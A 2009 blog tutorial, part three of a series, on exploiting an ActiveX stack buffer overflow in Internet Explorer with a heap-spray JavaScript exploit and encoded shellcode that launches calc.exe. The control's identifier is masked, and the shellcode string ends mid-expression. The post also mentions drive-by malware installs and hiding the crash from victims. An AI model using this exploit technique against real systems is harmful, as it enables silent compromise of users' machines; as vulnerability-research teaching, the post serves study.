Somebody once said..

"If you convince people that the wheel isn't right, they will allow you to re-invent it"

Thursday, August 20, 2009

Discovering ActiveX Vulnerabilities -- Part 3 [The Exploit]

So far we have seen how to use Dranzer for discovering vulnerabilities in ActiveX objects. In this third & final part of the series we will look at creating a real world exploit from the vulnerability we discovered while fuzzing last time. This, at times, is a very challenging task. Not all vulnerabilities are that easy to exploit. It requires quite some amount of patience and luck to get things going :) !

Before we begin, I would like to tell you something more about this vulnerability. As shown from the video in part 2, it's evident that this is a case of stack based buffer overflow. We also saw that EIP & SEH both were overwritten. Now, managing to overwrite EIP, is like hitting a jackpot in Vegas or striking a gold mine for any hacker :D !!! What it means is that we can have full control of the program execution and make it do things we want.

Which also brings me to the fundamental question - So what? What's the big deal in getting this control ? In short, why am I reading this tutorial ? ;) Well the reason is, in real life something like this would get translated into letting the bad guys get control of your machine. A malicious hacker with not-so-well intentions will execute a JavaScript that exploits this ActiveX control & in turn execute a small shellcode that downloads malware onto your machine without you even noticing it. These are called as "Drive-by web attacks" that often exploit vulnerabilities in browser plugins such as adobe Flash player or PDF readers to install malware on innocent users browsing the internet.

And this is exactly what I am going to do here. But first we need to identify what part of our evil.html is actually overwriting the EIP and SEH. Once we identify that, our life is much easier. I will show how it was done in my evil.html and then you can apply the same logic to yours or any other vulnerability you know. My evil.html looks something like this -

Fig 1: My evil.html as generated by dranzer

One of the ways to do this would have to been to trace back the code in Olly using breakpoints. But a much simpler and faster way to do it is to alter the code in such a way that we get to see it in Olly itself. If you look closely, all the variables in the properties have a long string of "x" in them, which is why you got "00780078" in EIP (remember, unicode representation?). So, instead of using "x", we replace each variable with a unique string that can be identified when we debug, and save it as evil2.html like this -

Fig 2: Modified evil2.html

Now repeat the same process of executing this in IE as we did in part 2 and have a look at the registers. This time, depending on the character in EIP you will come to know the exact variable that is causing the overflow. You can even modify the number of characters inside each of the variables to narrow down to the last 2 chars that overwrite EIP when exception occurs. This is a fast and very effective method of identifying which part of the code causes the overflow. Next step now is to code the exploit.

Now, a buffer overflow vulnerability can be exploited in 100 different ways - I am going to show only one method of doing it :P ! We will use the famous Heap-spraying technique for coding the exploit. I will not discus that in details here, you can google it yourself. This method is more common with web browser vulnerabilities such as this one and involves use of JavaScript to spray (paint) the Heap with the shellcode you want to execute. Once our shellcode is all over the memory, we use the overflown EIP to "jump" to the heap area and hope to execute our shellcode.

Talking of shellcode, I have used a simple shellcode here to execute calc.exe from Metasploit Framework. One small catch here is that in order for our Javascript to load this shellcode in memory it has to be in unicode ! Don't worry, for every problem there is already a solution :) You can learn more about converting shellcodes to unicode here. So, assuming you have the shellcode ready, we will create a block of NOP+shellcode and spray it on the heap by declaring an array in Javascript. Then we modify our variable (one which causes the overflow) in such a way that EIP gets overwritten with "0c0c0c0c" and effectively we jump to our NOP+Shellcode. The whole exploit should look something like this -

<SCRIPT language="javascript">
shellcode = unescape(
"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
"%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +
"%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +
"%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +
"%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
"%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" +
"%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" +
"%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" +
"%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" +
"%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
"%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" +
"%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" +
"%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" +
"%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" +
"%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
"%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" +
"%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" +
"%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" +
"%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" +
"%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
"%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" +
"%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" +
"%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" +
bigblock = unescape("%u9090%u9090");
headersize = 20;
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<512;i++) memory[i] = block + shellcode;

var krapSlide = unescape("%u0c0c");
while (krapSlide.length<5000)
{krapSlide += krapSlide;}

var junkSlide = unescape("%u0x0x");
while (junkSlide.length<1000)
{junkSlide += junkSlide;}

document.write("<object id=TestObj classid=\"CLSID:{XXXXXX-XXXX-XXXX-XXXX-XXXXXXXXX}\" style=\"width:100;height:100\">");
document.write("<PARAM NAME=\"IServer\" VALUE=\""+junkSlide+"\">");
document.write("<PARAM NAME=\"IFailLink\" VALUE=\""+krapSlide+"\">");

Note that I am using only 2 variables here, which I know are causing the overflow based on results of my evil2.html debugging. Rest is pretty much standard Heap-spraying code you will find on most of the ActiveX exploits. Now, save that file as "0wned.html" and execute it in IE. Here is the whole thing in action -

Yay !! You've have officially been pwned :) !! In my case I am using IE 7 on WinXP SP3. Normally, in IE 8 or above you would get the "ActiveX content blocked" bar on top and you need to allow the content to run for the exploit to work. Also, notice how the IE window just disappears. This is because in the process of overwriting registers, we destroyed the exception handler(SEH) too ! You can avoid the IE crash by writing your own SEH code thus not letting the end user know anything ever happened. But I will leave that to you as an exercise.

Hope you make good use of what you've just learned. This by no means is a comprehensive tutorial. I tried to explain you everything in short. The actually process of discovering and exploiting may take days and months of hard work. Just a suggestion to all readers who are learning vulnerability research - "Always follow good principles of vulnerability disclosure. If you happen to discover new vulnerabilities, always try and work with the vendor first to fix it and then disclose the information to others".

Questions/Suggestions/Comments welcome ! :)

No comments:

Post a Comment